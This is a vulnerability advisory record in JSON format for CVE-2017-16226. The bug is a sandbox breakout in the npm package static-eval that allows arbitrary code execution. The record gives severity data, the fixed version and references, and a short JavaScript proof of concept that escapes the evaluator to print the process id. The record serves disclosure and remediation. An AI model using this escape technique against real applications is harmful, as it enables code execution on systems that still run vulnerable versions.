{"id":"CVE-2017-16226","aliases":["GHSA-5mjw-6jrh-hvfq"],"url":"https://o3.security/vulnerability/CVE-2017-16226","summary":"Sandbox Breakout / Arbitrary Code Execution in static-eval","details":"Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.","published":"2018-06-07T02:29:07.800Z","modified":"2026-07-08T12:06:23.883213Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"static-eval","fixedVersion":"2.0.0"}],"fix":{"url":"https://github.com/substack/static-eval/pull/18","label":"substack/static-eval#18"},"references":[{"type":"ADVISORY","url":"https://maustin.net/articles/2017-10/static_eval"},{"type":"FIX","url":"https://github.com/substack/static-eval/pull/18"},{"type":"EVIDENCE","url":"https://nodesecurity.io/advisories/548"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16226"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5mjw-6jrh-hvfq"},{"type":"WEB","url":"https://www.npmjs.com/advisories/548"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T12:06:23.883213Z"}}